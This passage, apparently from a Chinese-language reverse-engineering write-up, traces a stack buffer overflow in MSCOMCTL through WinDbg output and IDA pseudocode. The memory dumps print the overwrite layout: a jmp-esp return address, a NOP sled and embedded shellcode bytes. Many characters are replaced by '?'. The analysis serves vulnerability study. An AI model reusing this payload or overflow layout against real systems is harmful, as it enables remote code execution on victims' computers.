cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8db:

275c8914 397dfc?????????cmp???? dword ptr [ebp-4],ediss:0023:00122460=00008282

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282

eip=275c8917esp=00122454 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8de:

275c89170f85beb40000??? jne???? MSCOMCTL!DllGetClassObject+0x45da2(275d3ddb) [br=0]

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282

eip=275c891desp=00122454 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8e4:

275c891d 57????????????? push??? edi

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282

eip=275c891eesp=00122450 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8e5:

275c891e 56????????????? push??? esi

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282

eip=275c891fesp=0012244c ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8e6:

275c891fff3550ed6227??? push??? dword ptr[MSCOMCTL!DllUnregisterServer+0x2ec6d (2762ed50)] ds:0023:2762ed50=00150000

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282

eip=275c8925esp=00122448 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a8ec:

275c8925ff1568115827??? call??? dword ptr [MSCOMCTL+0x1168 (27581168)]ds:0023:27581168={ntdll!RtlAllocateHeap(7c9305d4)}

0:000> p

eax=001cd1f8ebx=07f80810 ecx=7c9306eb edx=00150608 esi=00000000 edi=00008282

eip=275c892besp=00122454 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a8f2:

275c892b3bc6??????????? cmp???? eax,esi

0:000> p

eax=001cd1f8ebx=07f80810 ecx=7c9306eb edx=00150608 esi=00000000 edi=00008282

eip=275c892desp=00122454 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a8f4:

275c892d89450c????????? mov???? dword ptr [ebp+0Ch],eax ss:0023:00122470=07f80810

0:000> p

eax=001cd1f8ebx=07f80810 ecx=7c9306eb edx=00150608 esi=00000000 edi=00008282

eip=275c8930esp=00122454 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a8f7:

275c89300f84afb40000??? je????? MSCOMCTL!DllGetClassObject+0x45dac(275d3de5) [br=0]

0:000> p

eax=001cd1f8ebx=07f80810 ecx=7c9306eb edx=00150608 esi=00000000 edi=00008282

eip=275c8936esp=00122454 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a8fd:

275c89368b0b??????????? mov???? ecx,dword ptr [ebx]? ds:0023:07f80810=769957d8

0:000> p

eax=001cd1f8ebx=07f80810 ecx=769957d8 edx=00150608 esi=00000000 edi=00008282

eip=275c8938esp=00122454 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a8ff:

275c8938 56????????????? push??? esi

0:000> p

eax=001cd1f8ebx=07f80810 ecx=769957d8 edx=00150608 esi=00000000 edi=00008282

eip=275c8939esp=00122450 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a900:

275c8939 57????????????? push??? edi

0:000> p

eax=001cd1f8ebx=07f80810 ecx=769957d8 edx=00150608 esi=00000000 edi=00008282

eip=275c893aesp=0012244c ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a901:

275c893a 50????????????? push??? eax

0:000> p

eax=001cd1f8ebx=07f80810 ecx=769957d8 edx=00150608 esi=00000000 edi=00008282

eip=275c893besp=00122448 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a902:

275c893b 53????????????? push??? ebx

0:000> p

eax=001cd1f8ebx=07f80810 ecx=769957d8 edx=00150608 esi=00000000 edi=00008282

eip=275c893cesp=00122444 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a903:

275c893c ff510c?????????call??? dword ptr [ecx+0Ch]? ds:0023:769957e4=769d9f59

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282

eip=275c893fesp=00122454 ebp=00122464 iopl=0????????nv up ei ng nz na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000286

MSCOMCTL!DllGetClassObject+0x3a906:

275c893f8bf0??????????? mov???? esi,eax

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282

eip=275c8941esp=00122454 ebp=00122464 iopl=0????????nv up ei ng nz na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000286

MSCOMCTL!DllGetClassObject+0x3a908:

275c894185f6??????????? test??? esi,esi

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282

eip=275c8943esp=00122454 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a90a:

275c89437c31??????????? jl? ????MSCOMCTL!DllGetClassObject+0x3a93d(275c8976) [br=0]

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282

eip=275c8945esp=00122454 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a90c:

275c89458b750c????????? mov???? esi,dword ptr [ebp+0Ch]ss:0023:00122470=001cd1f8

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=001cd1f8 edi=00008282

eip=275c8948esp=00122454 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a90f:

275c89488bcf??????????? mov???? ecx,edi

0:000> p

eax=00000000ebx=07f80810 ecx=00008282 edx=00000000 esi=001cd1f8 edi=00008282

eip=275c894aesp=00122454 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a911:

275c894a8b7d08????????? mov???? edi,dword ptr [ebp+8]ss:0023:0012246c=00122490

0:000> p

eax=00000000ebx=07f80810 ecx=00008282 edx=00000000 esi=001cd1f8 edi=00122490

eip=275c894desp=00122454 ebp=00122464 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

//下面是memcpy的翻版

MSCOMCTL!DllGetClassObject+0x3a914:

275c894d8bc1??????????? mov???? eax,ecx

0:000> p

eax=00008282ebx=07f80810 ecx=00008282 edx=00000000 esi=001cd1f8 edi=00122490

eip=275c894f esp=00122454ebp=00122464 iopl=0???????? nv up ei plzr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3a916:

275c894fc1e902????????? shr???? ecx,2

0:000> p

eax=00008282ebx=07f80810ecx=000020a0edx=00000000 esi=001cd1f8edi=00122490

eip=275c8952esp=00122454 ebp=00122464 iopl=0????????nv up ei pl nz na pe cy

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000207

MSCOMCTL!DllGetClassObject+0x3a919:

275c8952 f3a5???????????rep movs dword ptr es:[edi],dword ptr[esi] es:0023:00122490=001a14f0 ds:0023:001cd1f8=00000000//就是此處造成了溢出

0:000> db esp

00122454? 00 00 00 00 04 14 1a 00-10 08 f8 07 82 82 0000? ................

00122464? 98 24 12 00 91 8b 5c 27-90 24 12 00 f8 d1 1c00? .$....\'.$......

00122474? 82 82 00 00 00 00 00 00-04 14 1a 00 10 08 f807? ................

00122484? 43 6f 62 6a 64 00 00 00-82 82 00 00 f0 14 1a 00? Cobjd...........//藍色的是第一次調用B函數傳入棧里的

00122494? b5 b7 58 27 c0 24 12 00-2b 74 5e 27 04 14 1a00? ..X'.$..+t^'....

001224a4? 10 08 f8 07 00 00 00 00-e0 13 1a 00 28 10 1a00? ............(...

001224b4? 47 74 5b 27 01 00 00 00-e0 24 12 00 e0 24 1200? Gt['.....$...$..

001224c4? 72 77 5e 27 04 14 1a 00-10 08 f8 07 10 08 f807? rw^'............

001224d4 ?49 74 6d 73 64 00 00 00-00 00 58 27 60 25 1200? Itmsd.....X'`%..

001224e4? 4e a6 5c 27 20 12 1a 00-10 08 f8 07 78 10 1a00? N.\' .......x...

001224f4? 28 10 1a 00 40 eb b2 06-01 ef cd ab 00 00 0500? (...@...........

00122504? 98 5d 65 01 07 00 00 00-08 00 00 80 05 00 0080? .]e.............

00122514? 00 00 00 00 b0 28 58 27-00 00 00 00 db 09 0135? .....(X'.......5

00122524? 7f 28 58 27 00 e0 62 27-40 eb b2 06 28 28 5827? .(X'..b'@...((X'

00122534? b0 10 1a 00 10 08 f8 07-00 00 00 00 4e 08 7deb? ............N.}.

00122544? 01 00 06 00 1c 00 00 00-00 00 00 00 00 00 0000? ................

0:000> p

eax=00008282ebx=07f80810 ecx=00000000 edx=00000000 esi=001d5478 edi=0012a710

eip=275c8954esp=00122454 ebp=00122464 iopl=0????????nv up ei pl nz na pe cy

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000207

MSCOMCTL!DllGetClassObject+0x3a91b:

275c89548bc8??????????? mov???? ecx,eax

0:000> db esp

00122454? 00 00 00 00 04 14 1a 00-10 08 f8 07 82 82 0000? ................

00122464 ?98 24 12 00 91 8b 5c 27-90 24 12 00 f8 d1 1c00? .$....\'.$......

00122474? 82 82 00 00 00 00 00 00-04 14 1a 00 10 08 f807? ................

00122484? 43 6f 62 6a 64 00 00 00-82 82 00 0000 00 00 00? Cobjd...........? //綠色的是被覆蓋后的數據

00122494?00 00 00 00 00 00 00 00-12 45 fa 7f 90 90 9090? .........E......

001224a4?90 90 90 90 8b c4 05 10-01 00 00 c7 00 24 034d? .............$.M

001224b4?08 e9 5a 00 00 00 6b 65-72 6e 65 6c 33 32 00df? ..Z...kernel32..

001224c4?2d 89 8c 1b 81 7d ef 42-9d 85 85 d6 4e 99 595a? -....}.B....N.YZ

0:000> t

eax=00008282ebx=07f80810 ecx=00008282 edx=00000000 esi=001d5478 edi=0012a710

eip=275c8956esp=00122454 ebp=00122464 iopl=0????????nv up ei pl nz na pe cy

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000207

MSCOMCTL!DllGetClassObject+0x3a91d:

275c89568b4510????????? mov???? eax,dword ptr [ebp+10h]ss:0023:00122474=00008282

0:000> t

eax=00008282ebx=07f80810 ecx=00008282 edx=00000000 esi=001d5478 edi=0012a710

eip=275c8959esp=00122454 ebp=00122464 iopl=0????????nv up ei pl nz na pe cy

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000207

MSCOMCTL!DllGetClassObject+0x3a920:

275c8959 83e103?????????and???? ecx,3

0:000> t

eax=00008282ebx=07f80810 ecx=00000002 edx=00000000 esi=001d5478 edi=0012a710

eip=275c895cesp=00122454 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a923:

275c895c6a00??????????? push??? 0

0:000> t

eax=00008282ebx=07f80810 ecx=00000002 edx=00000000 esi=001d5478 edi=0012a710

eip=275c895eesp=00122450 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a925:

275c895e8d5003????????? lea???? edx,[eax+3]

0:000> t

eax=00008282ebx=07f80810 ecx=00000002 edx=00008285 esi=001d5478 edi=0012a710

eip=275c8961esp=00122450 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023 ?es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a928:

275c896183e2fc????????? and???? edx,0FFFFFFFCh

0:000> t

eax=00008282ebx=07f80810 ecx=00000002 edx=00008284 esi=001d5478 edi=0012a710

eip=275c8964esp=00122450 ebp=00122464 iopl=0????????nv up ei pl nz na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000206

MSCOMCTL!DllGetClassObject+0x3a92b:

275c89642bd0??????????? sub???? edx,eax

0:000> t

eax=00008282ebx=07f80810 ecx=00000002 edx=00000002 esi=001d5478 edi=0012a710

eip=275c8966esp=00122450 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a92d:

275c8966 f3a4???????????rep movs byte ptr es:[edi],byte ptr[esi] es:0023:0012a710=00 ds:0023:001d5478=ee

0:000> p

eax=00008282ebx=07f80810 ecx=00000000 edx=00000002 esi=001d547a edi=0012a712

eip=275c8968esp=00122450 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023 ?ds=0023?es=0023? fs=003b? gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a92f:

275c89688b0b??????????? mov???? ecx,dword ptr [ebx]? ds:0023:07f80810=769957d8

0:000> p

eax=00008282ebx=07f80810 ecx=769957d8 edx=00000002 esi=001d547a edi=0012a712

eip=275c896aesp=00122450 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a931:

275c896a 52????????????? push??? edx

0:000> p

eax=00008282ebx=07f80810 ecx=769957d8 edx=00000002 esi=001d547a edi=0012a712

eip=275c896besp=0012244c ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a932:

275c896b68783f6327????? push??? offset MSCOMCTL!DllUnregisterServer+0x33e95(27633f78)

0:000> p

eax=00008282ebx=07f80810 ecx=769957d8 edx=00000002 esi=001d547a edi=0012a712

eip=275c8970esp=00122448 ebp=00122464 iopl=0????????nv up ei pl nz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a937:

275c8970 53????????????? push??? ebx

0:000> p

eax=00008282ebx=07f80810 ecx=769957d8 edx=00000002 esi=001d547a edi=0012a712

eip=275c8971 esp=00122444ebp=00122464 iopl=0???????? nv up ei plnz na po nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000202

MSCOMCTL!DllGetClassObject+0x3a938:

275c8971ff510c????????? call??? dword ptr [ecx+0Ch]? ds:0023:769957e4=769d9f59

0:000> p

eax=00000000ebx=07f80810 ecx=06cf0000 edx=00000000 esi=001d547a edi=0012a712

eip=275c8974esp=00122454 ebp=00122464 iopl=0????????nv up ei ng nz na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000286

MSCOMCTL!DllGetClassObject+0x3a951:

275c898a 5e????????????? pop???? esi

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c898besp=0012245c ebp=00122464 iopl=0????????nv up ei ng nz ac pe nc

cs=001b? ss=0023?ds=0023 ?es=0023? fs=003b?gs=0000???????????? efl=00000296

MSCOMCTL!DllGetClassObject+0x3a952:

275c898b 5b????????????? pop???? ebx

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c898cesp=00122460 ebp=00122464 iopl=0????????nv up ei ng nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000296

MSCOMCTL!DllGetClassObject+0x3a953:

275c898c c9????????????? leave

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c898desp=00122468 ebp=00122498 iopl=0????????nv up ei ng nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000296

MSCOMCTL!DllGetClassObject+0x3a954:

275c898d c3????????????? ret

//==========================================================================//

B函數執行完畢,返回至A函數:

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c8b91 esp=0012246c ebp=00122498iopl=0???????? nv up ei ng nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000296

MSCOMCTL!DllGetClassObject+0x3ab58:

275c8b918bf0??????????? mov???? esi,eax

0:000> t

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000

eip=275c8b93esp=0012246c ebp=00122498 iopl=0????????nv up ei ng nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000296

MSCOMCTL!DllGetClassObject+0x3ab5a:

275c8b9383c40c????????? add???? esp,0Ch

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000

eip=275c8b96 esp=00122478 ebp=00122498iopl=0???????? nv up ei pl nz ac pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000216

MSCOMCTL!DllGetClassObject+0x3ab5d:

275c8b9685f6??????????? test??? esi,esi

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000

eip=275c8b98esp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab5f:

275c8b987c3d??????????? jl????? MSCOMCTL!DllGetClassObject+0x3ab9e(275c8bd7) [br=0]

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000

eip=275c8b9aesp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab61:

275c8b9a 837df800???????cmp????dword ptr [ebp-8],0?ss:0023:00122490=00000000

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000

eip=275c8b9eesp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab65:

275c8b9e8b7d08????????? mov???? edi,dword ptr [ebp+8]ss:0023:001224a0=90909090

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090

eip=275c8ba1esp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab68:

275c8ba1 742a???????????je????? MSCOMCTL!DllGetClassObject+0x3ab94(275c8bcd) [br=1]

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090

eip=275c8bcdesp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab94:

275c8bcd 837dfc00???????cmp????dword ptr [ebp-4],0?ss:0023:00122494=00000000

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090

eip=275c8bd1esp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab98:

275c8bd10f85a6a20000??? jne???? MSCOMCTL!DllGetClassObject+0x44e44(275d2e7d) [br=0]

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090

eip=275c8bd7esp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3ab9e:

275c8bd7 8bc6??????????? mov???? eax,esi

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090

eip=275c8bd9esp=00122478 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000????????? ???efl=00000246

MSCOMCTL!DllGetClassObject+0x3aba0:

275c8bd9 5f?????????????pop???? edi

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000

eip=275c8bdaesp=0012247c ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3aba1:

275c8bda 5e?????????????pop???? esi

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c8bdbesp=00122480 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3aba2:

275c8bdb 5b?????????????pop???? ebx

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c8bdcesp=00122484 ebp=00122498 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3aba3:

275c8bdc c9?????????????leave

0:000> p

eax=00000000ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

eip=275c8bddesp=0012249c ebp=00000000 iopl=0????????nv up ei pl zr na pe nc

cs=001b? ss=0023?ds=0023? es=0023? fs=003b?gs=0000???????????? efl=00000246

MSCOMCTL!DllGetClassObject+0x3aba4:

275c8bddc20800????????? ret???? 8

Esp

0012246c 90 2412 00? .$.. //返回時ESP=0x0012246c

00122470 f8 d11c 00? ....

00122474 82 8200 00? ....

00122478 00 0000 00? .... //add????esp,0Chesp=0x122478

0012247c 04 141a 00? ....// pop edi

00122480 10 08f8 07? ....// pop esi

00122484 43 6f62 6a? Cobj //pop ebx

00122488 64 0000 00? d...

0012248c 82 8200 00? ....

00122490 00 0000 00? ....

00122494 00 0000 00? ....

00122498 00 0000 00? ....

0012249c 12 45 fa 7f? .E..//LEAVE后,esp指向此處

001224a0 90 9090 90? ....

001224a4 90 9090 90? ....

001224a8 8b c405 10? ....//ret 8后,esp指向此處,jmp esp后,eip將指向這里

001224ac 01 0000 c7? ....

看到熟悉的0x7FFA4512了吧,該地址處有一條jmpesp的指令。這樣控制權就轉移到棧當中去了。

總結一下:

MSCOMCTL!DllGetClassObject+0x3ab15(275c8b4e)A函數)僅僅開辟了0x14h大小的棧空間里邊兩次調用了函數MSCOMCTL!DllGetClassObject+0x3a8bb( B函數)。第一次往A函數的棧幀里邊寫入了0xc大小的字節,第二次調用前檢查了大小,本該是長度應該小于等于8copy數據,結果程序員的粗心大意寫成了大于等于8。直接導致第二次調用寫入了0x8282大小的數據,其后果是很嚴重的——破壞掉了A函數的棧幀,導致A函數無法正確返回。此處返回地址被精心覆蓋成0x7ffa4512,直接導致了惡意代碼的執行。

IDA反編譯還原出來的函數偽代碼如下:

函數A

int __stdcall sub_275C8B4E(int a1,void *lpMem)

{

? int result; // eax@1

? BSTR v3; // ebx@1

? int v4; // esi@4

? int v5; // [sp+Ch] [bp-14h]@1

? SIZE_T dwBytes; // [sp+14h] [bp-Ch]@3

? int v7; // [sp+18h] [bp-8h]@4

? int v8; // [sp+1Ch] [bp-4h]@8

?

? v3 = (BSTR)lpMem;

? result = sub_275C88F4((int)&v5, lpMem, 0xCu);? //第一次調用B,提取Magic

? if ( result >= 0 )

? {

??? if ( v5 == 0x6A626F43 && dwBytes >= 8 ) //條件本該是小于等于的,哈哈哈。。。

??? {

????? v4 = sub_275C88F4((int)&v7, v3, dwBytes);// 第二次調用B,提取數據到緩沖區,因為目的地址是sub_275C8B4E

//的棧幀,位于sub_275C88F4棧幀下面,所以不會造成sub_275C88F4不能返回

????? if ( v4 >= 0 )

????? {

??????? if ( !v7 )

????????? goto LABEL_8;

??????? lpMem = 0;

??????? v4 = sub_275C8BE0((UINT)&lpMem,(int)v3);

??????? if ( v4 >= 0 )

??????? {

????????? sub_2758B9B8((BSTR)lpMem);

????????? SysFreeString((BSTR)lpMem);

LABEL_8:

????????? if ( v8 )

??????????? v4 = sub_275C8CB2(a1 + 20, v3);

????????? return v4;

??????? }

????? }

????? return v4;

??? }

??? result = 0x8000FFFFu;

? }

? return result;

}

第一次復制了0xc?? bytes

00122484 ???43 6f 62 6a 64 00 00 00 82 82? Cobjd.....?//43 6F 62 6A應該是個Magic

0012248e ???00 00

第二次復制了0x8282?? bytes

00122490 ?00 00 00 00 00 00 00 00 00 00? ..........

0012249a ?00 00 12 45 fa 7f 90 90 90 90? ...E......

001224a4 ?90 90 90 90 8b c4 05 10 01 00? ..........

001224ae ?00 c7 00 24 03 4d 08 e9 5a 00? ...$.M..Z.

001224b8 ?00 00 6b 65 72 6e 65 6c 33 32? ..kernel32

001224c2 ?00 df 2d 89 8c 1b 81 7d ef 42? ..-....}.B

001224cc ?9d 85 85 d6 4e 99 59 5a 61 d8? ....N.YZa.

001224d6 ?54 93 77 77 21 9d 4a 62 68 c3? T.ww!.Jbh.

001224e0 ?53 a3 83 6a 6b df 5c 5a 8a 1d? S..jk.\Z..

001224ea ?2b 4f 2c 45 28 81 71 f5 40 01? +O,E(.q.@.

001224f4 ?92 8f 05 ba 36 c1 0a 61 61 61? ....6..aaa

001224fe ?61 73 68 65 6c 6c 33 32 00 8b? ashell32..

00122508 ?98 8a 31 61 61 61 61 6f 70 65? ..1aaaaope

00122512 ?6e 00 e8 11 02 00 00 6a ff e8? n......j..

0012251c ?08 00 00 00 05 35 00 00 00 ff? .....5....

00122526 ?10 c3 e8 00 00 00 00 58 83 c0? .......X..

00122530 ?04 2d 77 00 00 00 c3 55 8b ec? .-w....U..

0012253a ?52 53 8b 55 08 33 c0 f7 d0 32? RS.U.3...2

00122544 ?02 b3 08 d1 e8 73 05 35 20 83? .....s.5 .

?

函數B

int __cdecl sub_275C88F4(void*a1, LPVOID lpMem, SIZE_T dwBytes)

{

? int result; // eax@1

? LPVOID v4; // ebx@1

? LPVOID v5; // eax@3

? int v6; // esi@4

? int v7; // [sp+Ch] [bp-4h]@1

? const void *v8; // [sp+1Ch] [bp+Ch]@3

?

? v4 = lpMem;

? result = (*(int (__stdcall **)(LPVOID, int *,signed int, _DWORD))(*(_DWORD *)lpMem + 12))(lpMem, &v7, 4, 0);//估計這里是讀取內存區域內某個標記大小的值,長度為4

? if ( result >= 0 )

? {

??? if ( v7 == dwBytes ) //如果數據的大小剛好等于需要讀取的大小

??? {

????? v5 = HeapAlloc(hHeap, 0, dwBytes);//開辟堆內存用于緩存

????? v8 = v5;

????? if ( v5 )

????? {

